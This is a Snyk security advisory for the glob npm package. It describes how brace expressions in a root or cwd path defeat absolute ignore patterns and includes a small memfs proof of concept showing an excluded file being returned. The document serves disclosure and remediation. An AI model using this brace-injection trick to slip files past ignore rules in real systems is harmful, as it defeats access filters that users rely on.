Improper Neutralization Affecting glob package, versions <14.0.6


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.9% (62nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-GLOB-23745862
  • published4 Dec 2026
  • disclosed4 Dec 2026
  • crediticguner

Introduced: 4 Dec 2026

NewCVE-2026-144291  (opens in a new tab)
CWE-155  (opens in a new tab)

How to fix?

Upgrade glob to version 14.0.6 or higher.

Overview

Affected versions of this package are vulnerable to Improper Neutralization in src/ignore.ts, when composing an absolute ignore pattern, the resolved root/cwd path is pasted into a glob string and re-parsed by minimatch. The path is escaped with minimatch's escape(), but that function only escapes { and } when the magicalBraces option is enabled, which glob does not pass. A root or cwd path containing brace expressions (e.g. /root{7,8}) is therefore brace-expanded during re-parsing, causing the resulting ignore pattern to match non-existent paths instead of the real path. The exclusion is silently dropped and the excluded file is returned to the caller.

Note: This is only exploitable when the root or cwd path contains brace characters, which is reachable when those paths are derived from externally supplied data such as tenant IDs, project names, or archive extraction paths.

PoC

import { Volume, createFsFromVolume } from 'memfs'
import { glob } from 'glob'

const vol = new Volume()
const fs = createFsFromVolume(vol)
vol.fromJSON({
  '/root{7,8}/keep.txt': 'x',
  '/root{7,8}/skip.log': 'x',
})

const res = await glob('*', {
  cwd: '/root{7,8}',
  root: '/root{7,8}',
  fs,
  ignore: ['/skip.log'],
  platform: 'posix',
})

console.log(res)   // [ 'keep.txt', 'skip.log' ]  <-- skip.log should be ignored

Control with a plain root path:

vol.fromJSON({ '/root/keep.txt': 'x', '/root/skip.log': 'x' })
await glob('*', {
  cwd: '/root', root: '/root', fs, ignore: ['/skip.log'], platform: 'posix',
})
// [ 'keep.txt' ]  <-- ignore correctly enforced

CVSS Base Scores

version 4.0
version 3.1